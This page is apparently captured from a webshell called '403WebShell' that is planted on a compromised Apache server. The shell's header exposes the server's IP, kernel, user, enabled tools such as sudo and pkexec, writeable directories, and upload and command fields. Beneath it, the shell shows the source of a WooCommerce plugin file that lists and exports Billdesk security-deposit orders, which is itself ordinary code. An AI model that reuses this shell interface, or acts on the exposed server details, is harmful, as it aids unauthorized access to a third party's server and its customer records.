Uname:Linux ip-11-115-0-196 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64

403WebShell
403Webshell
Server IP : 13.126.101.145  /  Your IP : 216.73.217.50
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ip-11-115-0-196 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.3.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/rentals_updated/wp-content/plugins/wc-finance/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/rentals_updated/wp-content/plugins/wc-finance/includes/security-deposits.php
<?php
if (!defined('ABSPATH')) {
    exit;
}

function wc_security_deposit_get_billdesk_orders($args = array()) {
    $default_args = array(
        'limit' => -1,
        'status' => array('wc-completed', 'wc-processing'),
        'meta_key' => '_payment_method',
        'meta_value' => 'billdesk',
        'meta_compare' => '='
    );
    
    return wc_get_orders(wp_parse_args($args, $default_args));
}
function enqueue_datatables_scripts() {
    wp_enqueue_style('datatables-css', 'https://cdn.datatables.net/1.13.6/css/jquery.dataTables.min.css');
    wp_enqueue_script('datatables-js', 'https://cdn.datatables.net/1.13.6/js/jquery.dataTables.min.js', array('jquery'), null, true);

    // Optional: if using responsive extension
    wp_enqueue_style('datatables-responsive-css', 'https://cdn.datatables.net/responsive/2.5.0/css/responsive.dataTables.min.css');
    wp_enqueue_script('datatables-responsive-js', 'https://cdn.datatables.net/responsive/2.5.0/js/dataTables.responsive.min.js', array('datatables-js'), null, true);
}
add_action('admin_enqueue_scripts', 'enqueue_datatables_scripts');

function wc_security_deposit_admin_page() {
    if (!current_user_can('manage_woocommerce')) {
        wp_die(__('You do not have sufficient permissions to access this page.', 'wc-finance'));
    }

    $current_page = max(1, isset($_GET['paged']) ? absint($_GET['paged']) : 1);
    $per_page = 20;

    $query_args = array(
        'limit' => $per_page,
        'page' => $current_page,
        'paginate' => true,
    );

    if (!empty($_GET['start_date']) || !empty($_GET['end_date'])) {
        $start_date = !empty($_GET['start_date']) ? sanitize_text_field($_GET['start_date']) : null;
        $end_date = !empty($_GET['end_date']) ? sanitize_text_field($_GET['end_date']) : null;
        
        if ($start_date && $end_date) {
            $query_args['date_created'] = "$start_date...$end_date";
        } elseif ($start_date) {
            $query_args['date_created'] = ">=$start_date";
        } elseif ($end_date) {
            $query_args['date_created'] = "<=$end_date";
        }
    }

    $orders_data = wc_security_deposit_get_billdesk_orders($query_args);
    $orders = $orders_data->orders;
    $total_items = $orders_data->total;
    $max_pages = $orders_data->max_num_pages; 
    
    ?>
    <div class="wrap">
        <h1><?php _e('Security Deposits (Billdesk Payments)', 'wc-finance'); ?></h1>

        <form method="get" class="wc-finance-filters">
            <input type="hidden" name="page" value="wc-security-deposits">
            <div class="filter-row">
                <label><?php _e('Date Range:', 'wc-finance'); ?></label>
                <input type="text" class="datepicker" name="start_date" value="<?php echo esc_attr($_GET['start_date'] ?? ''); ?>" placeholder="Start Date">
                <input type="text" class="datepicker" name="end_date" value="<?php echo esc_attr($_GET['end_date'] ?? ''); ?>" placeholder="End Date">
                <button type="submit" class="button button-primary"><?php _e('Filter', 'wc-finance'); ?></button>
            </div>
        </form>

        <form method="post" class="export-form">
            <?php wp_nonce_field('wc_security_deposit_export', 'export_nonce'); ?>
            <input type="hidden" name="export_csv" value="1">
            <button type="submit" class="button" style="background-color: #000;color:#FFBD2B; border-radius:5px;"><?php _e('Export to CSV', 'wc-finance'); ?></button>
        </form>

        <table class="wp-list-table widefat fixed striped" id="billdesk-payments" style="margin-top:10px;">
            <thead>
                <tr>
                    <th><?php _e('S.No', 'wc-finance'); ?></th>
                    <th><?php _e('Customer SAP ID', 'wc-finance'); ?></th>
                    <th><?php _e('Customer Name', 'wc-finance'); ?></th>
                    <th><?php _e('Phone Number', 'wc-finance'); ?></th>
                    <th><?php _e('RMS Contract ID', 'wc-finance'); ?></th>
                    <th><?php _e('SAP Contract ID', 'wc-finance'); ?></th>
                    <th><?php _e('Total Paid', 'wc-finance'); ?></th>
                    <th><?php _e('Balance', 'wc-finance'); ?></th>
                    <th><?php _e('Date', 'wc-finance'); ?></th>
                    <th><?php _e('Payment Mode', 'wc-finance'); ?></th>
                </tr>
            </thead>
            <tbody>
                <?php
                if (empty($orders)) {
                    echo '<tr><td colspan="10">' . __('No Billdesk payment orders found.', 'wc-finance') . '</td></tr>';
                } else {
                    $count = ($current_page - 1) * $per_page + 1;
                    foreach ($orders as $order) {
                        if ($order->get_payment_method() !== 'billdesk') {
                            continue;
                        }
                        $user_id = $order->get_user_id();
                        $customer_name = trim($order->get_billing_first_name() . ' ' . $order->get_billing_last_name());
                        ?>
                        <tr>
                            <td><?php echo $count++; ?></td>
                            <td><?php echo esc_html(get_user_meta($user_id, 'sap_customer_id', true)); ?></td>
                            <td><?php echo esc_html($customer_name); ?></td>
                            <td><?php echo esc_html($order->get_billing_phone() ?: get_user_meta($user_id, 'user_phone', true)); ?></td>
                            <td><?php echo esc_html($order->get_id()); ?></td>
                            <td><?php echo esc_html($order->get_meta('contractid')); ?></td>
                            <td><?php echo wc_price($order->get_meta('_payable_amount')); ?></td>
                            <td><?php echo wc_price($order->get_meta('_balanceamount')); ?></td>
                            <td><?php echo esc_html($order->get_date_created()->date(get_option('date_format'))); ?></td>
                            <td><?php echo esc_html($order->get_payment_method_title()); ?></td>
                        </tr>
                        <?php
                    }
                }
                ?>
            </tbody>
        </table>

        <?php
        echo paginate_links(array(
            'base' => add_query_arg('paged', '%#%'),
            'format' => '',
            'prev_text' => __('« Previous'),
            'next_text' => __('Next »'),
            'total' => $max_pages,
            'current' => $current_page,
            'add_args' => array(
                'start_date' => $_GET['start_date'] ?? '',
                'end_date' => $_GET['end_date'] ?? ''
            )
        ));
        ?>
    </div>

    <script>
        
    jQuery(document).ready(function($) {

        var dataTable = jQuery('#billdesk-payments').DataTable({
            "scrollX": true,
        });
        $('.datepicker').datepicker({
            dateFormat: 'yy-mm-dd',
            changeMonth: true,
            changeYear: true
        });
    });
    </script>
    <style>
         #billdesk-payments tbody tr:nth-child(even) {
        background-color: #ffbd2b30 ;
        }
    </style>
    <?php
}

function wc_security_deposit_export_csv() {
    if (!isset($_POST['export_csv']) || !isset($_POST['export_nonce']) || 
        !wp_verify_nonce($_POST['export_nonce'], 'wc_security_deposit_export') ||
        !current_user_can('manage_woocommerce')) {
        return;
    }

    ob_start();

    $query_args = array(
        'limit' => -1,
    );

    if (!empty($_GET['start_date']) || !empty($_GET['end_date'])) {
        $start_date = !empty($_GET['start_date']) ? sanitize_text_field($_GET['start_date']) : null;
        $end_date = !empty($_GET['end_date']) ? sanitize_text_field($_GET['end_date']) : null;
        
        if ($start_date && $end_date) {
            $query_args['date_created'] = "$start_date...$end_date";
        } elseif ($start_date) {
            $query_args['date_created'] = ">=$start_date";
        } elseif ($end_date) {
            $query_args['date_created'] = "<=$end_date";
        }
    }

    $orders = wc_security_deposit_get_billdesk_orders($query_args);

    header('Content-Type: text/csv; charset=utf-8');
    header('Content-Disposition: attachment; filename="security_deposits_' . date('Y-m-d_H-i-s') . '.csv"');
    header('Cache-Control: no-cache, no-store, must-revalidate');
    header('Pragma: no-cache');
    header('Expires: 0');

    ob_end_clean();

    $output = fopen('php://output', 'w');
    
    fputcsv($output, array(
        'S.No',
        'Customer SAP ID',
        'Customer Name',
        'Phone Number',
        'RMS Contract ID',
        'SAP Contract ID',
        'Total Paid',
        'Balance',
        'Date',
        'Payment Mode'
    ));

    $count = 1;
    foreach ($orders as $order) {
        if ($order->get_payment_method() !== 'billdesk') {
            continue;
        }
        $user_id = $order->get_user_id();
        $customer_name = trim($order->get_billing_first_name() . ' ' . $order->get_billing_last_name());
        
        fputcsv($output, array(
            $count++,
            get_user_meta($user_id, 'sap_customer_id', true),
            $customer_name,
            $order->get_billing_phone() ?: get_user_meta($user_id, 'user_phone', true),
            $order->get_id(),
            $order->get_meta('contractid'),
            wc_format_decimal($order->get_meta('_payable_amount'), 2),
            wc_format_decimal($order->get_meta('_balanceamount'), 2),
            $order->get_date_created()->date('Y-m-d H:i:s'),
            $order->get_payment_method_title()
        ));
    }

    fclose($output);
    exit;
}

Youez - 2016 - github.com/yon3zu
LinuXploit